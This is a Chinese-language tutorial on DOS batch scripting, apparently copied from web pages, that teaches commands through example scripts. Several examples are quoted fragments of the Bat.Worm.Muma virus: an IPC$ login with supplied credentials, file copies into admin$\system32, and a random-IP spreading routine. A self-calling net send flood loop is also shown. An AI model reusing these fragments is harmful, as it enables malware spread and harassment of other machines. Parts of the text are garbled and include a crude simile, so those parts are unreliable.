DOS 批处理

From: http://www.jb51.net/article/97204.htm

From: http://www.92to.com/bangong/2016/04-08/2998914.html

百度文库：目前为止最全的批处理教程

批处理经典入门教程

        批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。 

        批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。

例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟。

将下面的几行命令保存为 name.bat 然后执行( 以后文中只给出代码，保存和执行方式类似)：

ping sz.tencent.com > a.txt 
ping sz1.tencent.com >> a.txt 
ping sz2.tencent.com >> a.txt 
ping sz3.tencent.com >> a.txt 
ping sz4.tencent.com >> a.txt 
ping sz5.tencent.com >> a.txt 
ping sz6.tencent.com >> a.txt 
ping sz7.tencent.com >> a.txt 
exit

是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大(想到如何搞破坏了？？)。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。

例二、再给出一个已经过时的例子(a.bat)：

@echo off 
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

例三，使用批处理脚本查是否中冰河。脚本内容如下：

@echo off 
netstat -a -n > a.txt 
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" 
del a.txt 
pause & exit

这里利用了 netstat 命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很 easy 的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口 7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变 成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令 && 和 管道命令 | ，后面将详细介绍。

例四，借批处理自动清除系统垃圾。

脚本如下：

@echo off 
if exist c:\windows\temp\*.* del c:\windows\temp\*.* 
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* 
if exist c:\windows\History\*.* del c:\windows\History\*.* 
if exist c:\windows\recent\*.* del c:\windows\recent\*.*

将以上脚本内容保存到 autoexec.bat 里，每次开机时就把系统垃圾给自动删除了。

这里需要注意两点：

• 一、DOS 不支持长文件名，所以就出现了 Tempor~1 这个东东；
• 二、可根据自己的实际情况进行改动，使其符合自己的要求。

现在由浅入深的介绍批处理中常用的命令，很多常见 DOS 命令在批处理脚本中有这广泛的应用，它们是批处理脚本的 BODY 部分，但批处理比 DOS 更灵活多样，更具备自动化。要学好批处理，DOS 一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的 DOS命令，常用命令如 COPY、DIR 等就不做介绍了。。。

例五，先看一个实例。

这是一个很有意思的脚本，一个小巧实用的好东东，把批处理 “自动化” 的特点体现的淋漓尽致。

        先介绍一下这个脚本的来历：大家都知道汇编程序(MASM)的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我 “被逼” 写了这个脚本，用起来很爽，呵呵。看看脚本内容：

@echo off 
::close echo 
cls 
::clean screen 
echo This programme is to make the MASM programme automate 
::display info 
echo Edit by CODERED 
::display info 
echo Mailto me : qqkiller***@sina.com 
::display info 
if "%1"=="" goto usage 
::if input without paramater goto usage 
if "%1"=="/?" goto usage 
::if paramater is "/?" goto usage 
if "%1"=="help" goto usage 
::if paramater is "help" goto usage 
pause 
::pause to see usage 
masm %1.asm 
::assemble the .asm code 
if errorlevel 1 pause & edit %1.asm 
::if error pause to see error msg and edit the code 
link %1.obj & %1 
::else link the .obj file and execute the .exe file 
:usage 
::set usage 
echo Usage: This BAT file name [asm file name] 
echo Default BAT file name is START.BAT 
::display usage

        先不要被这一堆的东西给吓怕了，静下心来仔细的看(回想一下第一章中第一段是怎么写的！！)。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？)，在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码(当然还有这个脚本，废话！)一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误(汇编不成功)，则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。

        在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

1、@ at 符号

这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话！)。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on 和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！

echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示(为什么？？)。
echo命令的另一种用法二：可以直接编辑文本文件。

echo nbtstat -A 192.168.0.1 > a.bat 
echo nbtstat -A 192.168.0.2 >> a.bat 
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。

CHOICE ：

        选择命令。这是一个DOS外部命令，但它主要用在批文件中。 
        CHOICE命令执行后将提示可选择的项目，这时通过一个按键来选则。  

        用法：CHOICE：[/C[:]按键表] [/N] [/S] [/T[:]选择值,秒数] [显示文本]
        其中，/C 表示可选则的按键，
              /N 表示不要显示提示信息，
              /S 表示大小写字符敏感方式，
              /T 表示若在批定的时间内没有选则的话，自动执行/C中定义的某个选择值。
        显示文本是CHOICE命令执行时的提示信息。选择结果将用ERRORLEVEL值来表示。 

3、::  注释

这个命令的作用很简单，它是注释命令，在批处理脚本中 和 rem 命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*…………*/类似。地球人都能看懂，就不多说了。

REM ：
        添加注解。用于增加文件可读性，将不被执行。也可以用::来代替。

4、pause

中文为“暂停”的意思(看看你的 workman 上)，我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息(其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里)。

PAUSE ：
        暂停批文件的执行，并显示“按任意键继续”的字样。

5、冒号 和 goto

为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。

• goto 是个跳转命令，
• : 是一个标签。

当程序运行到 goto 时，将自动跳转到 : 定义的部分去执行了(是不是分不开？)。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage(usage就是标签名称)。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。

goto 命令的另一种用法 一：提前结束程序。在程序中间使用 goto 命令跳转到某一标签，而这一标签的内容却定义为退出。如：

…… 
goto end 
…… 
:end

这里 :end 在脚本最后一行！其实这个例子很弱智，后面讲了 if 命令和组合命令你就知道了。

用法：GOTO [标号名]
        其中，标号名是可以随意设置的，如 Hello 等。设置标号用“:”符号，
        如“：Hello”，这时用GOTO Hello命令将转到“:Hello”所在的位置继续执行批文件。

6、百分号

这个百分号严格来说是算不上命令的，它只是批处理中的参数而已(多个%一起使用的情况除外，以后还将详细介绍)，但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它？)，少了它批处理的功能就减少了51%了。看看例 七：

net use \\%1\ipc$ %3 /u:"%2" 
copy 11.BAT \\%1\admin$\system32 /y 
copy 13.BAT \\%1\admin$\system32 /y 
copy ipc2.BAT \\%1\admin$\system32 /y 
copy NWZI.EXE \\%1\admin$\system32 /y 
attrib \\%1\admin$\system32⏺.bat -r -h -s

以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可(因为程序不能正确运行，并不是因为少了参数语法就不对)这样在脚本执行过程中，脚本就自动用用你的三个参数依次(记住，是依次！也是一一对应的关系。)代换1%、2%和3%，这样就达到了灵活运用的目的(试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？)。

关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！

7、if

if 命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的动作。关于它的三种用法，在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧：

if "%1"=="" goto usage 
if "%1"=="/?" goto usage 
if "%1"=="help" goto usage

这里判断输入的参数情况，如果参数为空(无参数)，则跳转到usage；如果参数为/?或help时(大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序)，也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage

(2)、存在判断(文件或者盘符)。再看例二里这句：

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀(没想到自己写的脚本，竟然用处这么大，呵呵)：

masm %1.asm 
if errorlevel 1 pause & edit %1.asm 
link %1.obj

先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码，DOS程序在运行完后都有返回码)，如果和定义的错误码符合(这里定义的错误码为1)，则执行相应的好啊作( 这里相应的好啊作为pause & edit %1.asm部分)。

另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：

masm %1.asm 
if not errorlevel 1 link %1.obj 
pause & edit %1.asm

看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功(因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功)。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行(怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。)，这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的好啊作，是比较麻烦的。以上代码必须变成：

masm %1.asm 
if exist %1.obj link %1.obj 
else pause & edit %1.asm

关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换(以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物
本质！)。有兴趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command 
IF [NOT] string1==string2 do command 
IF [NOT] EXIST filename do command

IF ：
        条件判断命令。这是一项很有用的批处理命令。
        用法1：IF [NOT] EXIST 文件名 命令 [命令参数]
        意义：如果[不]存在某个文件将执行某个命令。
        用法2：IF [NOT] ERRORLEVEL 错误返回代号 命令 [命令参数]
        意义：如果错误返回代号[不]大于或等于指定的代号将执行某个命令。
        其中，ERRORLEVEL表示错误返回代号，很有用。
        对于很多DOS命令，由于执行的结果不同(如执行成功，执行失败，或被用户中断等)，
        这些命令会返回不同的代号，以表示不同的结果。IF ERRORLEVEL命令就根据这个不同
        结果而产生的不同代号来执行不同的命令，通常用在某条命令之后。
        如I F ERRORLEVEL 1 ECHO OK!表示如果当前的错误返回代号大于或等于1时将在屏幕
        上显示“OK!”的字样。
        用法3：IF [NOT] 字符串1==字符串2 命令 [命令参数]
        意义：当字符串1和字符串2[不]相等的时候执行某个命令。

8、call

学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat

start.bat： 
…… 
CALL 10.BAT 0 
…… 

10.bat： 
…… 
ECHO %IPA%.%1 >HFIND.TMP 
…… 
CALL ipc.bat IPCFind.txt 

ipc.bat： 
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt(一个文件，也可以做参数)，执行时的效果，就是用ipc.bat中的每一行的三个变量 (这里不懂没关系，学过for命令后就懂了)，对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有
比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。
那是不是说，在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁？)？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九(默认脚本文件名a.bat)：

net send %1 This is a call example. 
call a.bat

这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。 给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat)：

9、find

这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字？)。
这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：

@echo off 
netstat -a -n > a.txt 
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" 
del a.txt 
pause & exit

先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!")，就必须得给出这个a.txt的绝对路径(我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正)。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。
至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝)，后续的教程中将介绍，希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十

@echo off 
for /? > for.txt 
set /? > set.txt 
shift /? >shift.txt 
exit

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令，后面介绍批处理的参数时还将涉及到)，一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十

FOR ：
        DOS下许多命令支持通配符，如？和*，可以一次指定一批文件，非常方便。
        然而，并非所有的DOS命令都支持通配符，如TYPE(文件内容显示命令)就不支持。
        有了FOR命令就没有关系了，利于它可以使TYPE命令可以一次显示多个文件。
        用法：FOR %变量名 IN (文件集) DO 命令 [命令参数]
        注：以上是FOR命令的固定形式，IN和DO的位置必须正确，否则将提示语法错误。
        如 FOR %F IN (*.*) DO TYPE %F命令就可以实现TYPE命令一次显示多个文件。
        注：%F是变量名，也可用%G等代替，但前后必须一致。在批文件中用%%F代替。

二： 
START.BAT： 
CALL MUMA.BAT 

SET IPA=192.168 
CALL 10.BAT 0 
:NEARAGAIN 
netstat -n|find ":" >A.TMP 
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET 
NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT 
:START 
CALL RANDOM.BAT 
IF "%NUM1%"=="255" GOTO NEARAGAIN 
IF "%NUM1%"=="192" GOTO NEARAGAIN 
IF "%NUM1%"=="127" GOTO NEARAGAIN 
IF "%NUM2%"=="255" GOTO NEARAGAIN 
IF "%NUM3%"=="255" GOTO NEARAGAIN 
IF "%NUM4%"=="255" GOTO NEARAGAIN 
SET IPA=%NUM1%.%NUM2% 
ECHO START > A.LOG 
PING %IPA%.%NUM3%.1>B.TMP 
PING %IPA%.%NUM3%.%NUM4%>>B.TMP 
FIND /C /I "from" B.TMP 
IF ERRORLEVEL 1 GOTO START 
CALL 10.BAT %NUM3% 
DEL A.LOG 
GOTO START

这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话(静下心来！)，你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去-
---爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。

没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。

不得不再次重申一遍，各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系)，学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。

11、| 管道

这个命令恐怕大家不是很陌生，经常好啊作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪
而过了，如何解决这个问题？看例十三：

help | more

回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。 为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。

help命令。其实这个命